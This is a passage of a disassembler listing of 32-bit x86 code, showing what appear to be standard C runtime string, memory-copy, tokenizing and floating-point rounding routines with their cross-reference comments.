call sub_41F69F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4204D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BE06 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p
; sub_401ACD+1EA0p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41BE61
xor eax, eax
jmp short loc_41BE63
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BE40+1Bj
mov eax, edi
loc_41BE63: ; CODE XREF: sub_41BE40+1Fj
cld
pop edi
leave
retn
sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p
; ___:0041DD1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41BEA1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41BE9F
jz short loc_41BEA1
dec ecx
dec ecx
loc_41BE9F: ; CODE XREF: sub_41BE70+29j
not ecx
loc_41BEA1: ; CODE XREF: sub_41BE70+9j
; sub_41BE70+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp
; sub_401ACD+2FFCp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41BF21
sub_41BEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p
; sub_401ACD+75FEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41BEDC
loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BF0F
test ecx, 3
jnz short loc_41BECD
loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj
; sub_41BEC0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BEDC
mov eax, [ecx-4]
test al, al
jz short loc_41BF1E
test ah, ah
jz short loc_41BF19
test eax, 0FF0000h
jz short loc_41BF14
test eax, 0FF000000h
jz short loc_41BF0F
jmp short loc_41BEDC
; ---------------------------------------------------------------------------
loc_41BF0F: ; CODE XREF: sub_41BEC0+12j
; sub_41BEC0+4Bj
lea edi, [ecx-1]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF14: ; CODE XREF: sub_41BEC0+44j
lea edi, [ecx-2]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj
lea edi, [ecx-3]
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF1E: ; CODE XREF: sub_41BEC0+39j
lea edi, [ecx-4]
loc_41BF21: ; CODE XREF: sub_41BEB0+5j
; sub_41BEC0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41BF46
loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41BF98
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41BF2D
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej
; sub_41BEC0+B8j
mov [edi], edx
add edi, 4
loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj
; sub_41BEC0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41BF41
test dl, dl
jz short loc_41BF98
test dh, dh
jz short loc_41BF8F
test edx, 0FF0000h
jz short loc_41BF82
test edx, 0FF000000h
jz short loc_41BF7A
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF82: ; CODE XREF: sub_41BEC0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BF98: ; CODE XREF: sub_41BEC0+72j
; sub_41BEC0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41BEC0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BFB0
loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41BFB0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p
; sub_401ACD+4C3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41BFB6: ; CODE XREF: sub_41B900+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41BFDB
loc_41BFC8: ; CODE XREF: sub_41BFB0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41BFA0
test cl, cl
jz short loc_41C024
test edx, 3
jnz short loc_41BFC8
loc_41BFDB: ; CODE XREF: sub_41BFB0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41BFE6: ; CODE XREF: sub_41BFB0+61j
; sub_41BFB0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C028
and eax, 81010100h
jz short loc_41BFE6
and eax, 1010100h
jnz short loc_41C022
and esi, 80000000h
jnz short loc_41BFE6
loc_41C022: ; CODE XREF: sub_41BFB0+68j
; sub_41BFB0+81j ...
pop esi
pop edi
loc_41C024: ; CODE XREF: sub_41BFB0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C028: ; CODE XREF: sub_41BFB0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C065
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C05E
test ah, ah
jz short loc_41C022
shr eax, 10h
cmp al, bl
jz short loc_41C057
test al, al
jz short loc_41C022
cmp ah, bl
jz short loc_41C050
test ah, ah
jz short loc_41C022
jmp short loc_41BFE6
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41BFB0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C057: ; CODE XREF: sub_41BFB0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C05E: ; CODE XREF: sub_41BFB0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C065: ; CODE XREF: sub_41BFB0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41BFB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C0BC
loc_41C080: ; CODE XREF: sub_41C070+3Cj
; sub_41C070+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+3]
jnz short loc_41C0B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C080
mov edi, edi
loc_41C0B0: ; CODE XREF: sub_41C070+18j
; sub_41C070+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0B4: ; CODE XREF: sub_41C070+14j
; sub_41C070+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C0BC: ; CODE XREF: sub_41C070+Ej
test edx, 1
jz short loc_41C0D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C0B4
inc ecx
or al, al
jz short loc_41C0B0
test edx, 2
jz short loc_41C080
loc_41C0D8: ; CODE XREF: sub_41C070+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C0B4
or al, al
jz short loc_41C0B0
cmp ah, [ecx+1]
jnz short loc_41C0B4
or ah, ah
jz short loc_41C0B0
add ecx, 2
jmp short loc_41C080
sub_41C070 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C10D: ; CODE XREF: sub_41C0F4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C10D
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C135
mov edx, dword_4DB2C4
loc_41C135: ; CODE XREF: sub_41C0F4+39j
; sub_41C0F4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C155
test al, al
jz short loc_41C155
inc edx
jmp short loc_41C135
; ---------------------------------------------------------------------------
loc_41C155: ; CODE XREF: sub_41C0F4+58j
; sub_41C0F4+5Cj
mov ebx, edx
loc_41C157: ; CODE XREF: sub_41C0F4+81j
mov al, [edx]
test al, al
jz short loc_41C17B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C177
inc edx
jmp short loc_41C157
; ---------------------------------------------------------------------------
loc_41C177: ; CODE XREF: sub_41C0F4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C17B: ; CODE XREF: sub_41C0F4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DB2C4, edx
and eax, ebx
pop ebx
leave
retn
sub_41C0F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp
; sub_415220+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C1CE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C1DB
; ---------------------------------------------------------------------------
loc_41C1CE: ; CODE XREF: sub_41C190+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41C1DB: ; CODE XREF: sub_41C190+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C190 endp
; =============== S U B R O U T I N E =======================================
sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p
; sub_40B64A+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C294
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C20A
loc_41C1FB: ; CODE XREF: sub_41C1E0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C23B
test edi, 3
jnz short loc_41C1FB
loc_41C20A: ; CODE XREF: sub_41C1E0+19j
; sub_41C1E0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C20A
mov eax, [edi-4]
test al, al
jz short loc_41C248
test ah, ah
jz short loc_41C243
test eax, 0FF0000h
jz short loc_41C23E
test eax, 0FF000000h
jnz short loc_41C20A
loc_41C23B: ; CODE XREF: sub_41C1E0+20j
dec edi
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C1E0+52j
sub edi, 2
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C243: ; CODE XREF: sub_41C1E0+4Bj
sub edi, 3
jmp short loc_41C24B
; ---------------------------------------------------------------------------
loc_41C248: ; CODE XREF: sub_41C1E0+47j
sub edi, 4
loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj
; sub_41C1E0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
jmp short loc_41C27C
; ---------------------------------------------------------------------------
loc_41C260: ; CODE XREF: sub_41C1E0+75j
; sub_41C1E0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C29A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C290
test esi, 3
jnz short loc_41C260
mov ebx, ecx
shr ecx, 2
jnz short loc_41C2AC
loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej
; sub_41C1E0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C290
loc_41C283: ; CODE XREF: sub_41C1E0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C292
dec ecx
jnz short loc_41C283
loc_41C290: ; CODE XREF: sub_41C1E0+8Bj
; sub_41C1E0+A1j
mov [edi], cl
loc_41C292: ; CODE XREF: sub_41C1E0+ABj
pop ebx
pop esi
loc_41C294: ; CODE XREF: sub_41C1E0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C29A: ; CODE XREF: sub_41C1E0+85j
; sub_41C1E0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j
; sub_41C1E0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C27C
loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj
; sub_41C1E0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C2A4
test dl, dl
jz short loc_41C29A
test dh, dh
jz short loc_41C2F8
test edx, 0FF0000h
jz short loc_41C2E8
test edx, 0FF000000h
jnz short loc_41C2A4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p
; sub_40BFA3+3Bp ...
var_3A3BFFC0 = byte ptr -3A3BFFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41C330
cmp edi, eax
jb loc_41C4A8
loc_41C330: ; CODE XREF: sub_41C310+16j
test edi, 3
jnz short loc_41C34C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
loc_41C34C: ; CODE XREF: sub_41C310+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41C364
and eax, 3
add ecx, eax
jmp dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C364: ; CODE XREF: sub_41C310+46j
jmp dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C36C: ; CODE XREF: sub_41C310+31j
; sub_41C310+8Ej ...
jmp off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41C380
; ---------------------------------------------------------------------------
lodsb
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
loc_41C380: ; DATA XREF: sub_41C310+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C36C
rep movsd
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr
dd offset loc_41C43C
dd offset loc_41C434
dd offset loc_41C42C
dd offset loc_41C424
dd offset loc_41C41C
dd offset loc_41C414
dd offset loc_41C40C
; ---------------------------------------------------------------------------
loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj
; DATA XREF: sub_41C310:off_41C3ECo
jmp off_41C458[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r
; sub_41C310+92r ...
dd offset loc_41C470
dd offset loc_41C47C
dd offset loc_41C490
; ---------------------------------------------------------------------------
loc_41C468: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C470: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C47C: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C490: ; CODE XREF: sub_41C310+35j
; sub_41C310+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C4A8: ; CODE XREF: sub_41C310+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C4DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C4D0: ; CODE XREF: sub_41C310+1B1j
; sub_41C310+208j ...
neg ecx
jmp dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C4DC: ; CODE XREF: sub_41C310+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C4F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C4F4: ; CODE XREF: sub_41C310+1D6j
; DATA XREF: sub_41C310+1DDr
jmp off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or ch, al
inc ecx
add [eax], ch
lds eax, [ecx+0]
push eax
lds eax, [ecx+0]
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C4D0
std
rep movsd
cld
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 4
movsb
lds eax, [ecx+0]
lodsb
lds eax, [ecx+0]
mov ah, 0C5h
inc ecx
add [ebp+eax*8-3A3BFFBFh], bh
inc ecx
add ah, cl
lds eax, [ecx+0]
aam 0C5h
inc ecx
loc_41C59F: ; DATA XREF: sub_41C310+1C2r
add bh, ah
lds eax, [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C5E7: ; CODE XREF: sub_41C310+1C2j
jmp off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r
; sub_41C310:loc_41C4F4r ...
dd offset loc_41C608
dd offset loc_41C618
dd offset loc_41C62C
; ---------------------------------------------------------------------------
loc_41C600: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C608: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C618: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C62C: ; CODE XREF: sub_41C310+1B7j
; sub_41C310:loc_41C4F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p
; ___:0040E29Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41AFE0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420510
add esp, 10h
leave
retn
sub_41C645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C679(double)
sub_41C679 proc near ; CODE XREF: sub_40D030+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A290
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C6FF
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C6E2
cmp eax, 2
jle short loc_41C6D4
cmp eax, 3
jnz short loc_41C6E2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6D4: ; CODE XREF: sub_41C679+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C6E2: ; CODE XREF: sub_41C679+3Aj
; sub_41C679+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C6FF: ; CODE XREF: sub_41C679+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C722
loc_41C714: ; CODE XREF: sub_41C679+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C744
; ---------------------------------------------------------------------------
loc_41C722: ; CODE XREF: sub_41C679+99j
test bl, 20h
jnz short loc_41C714
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
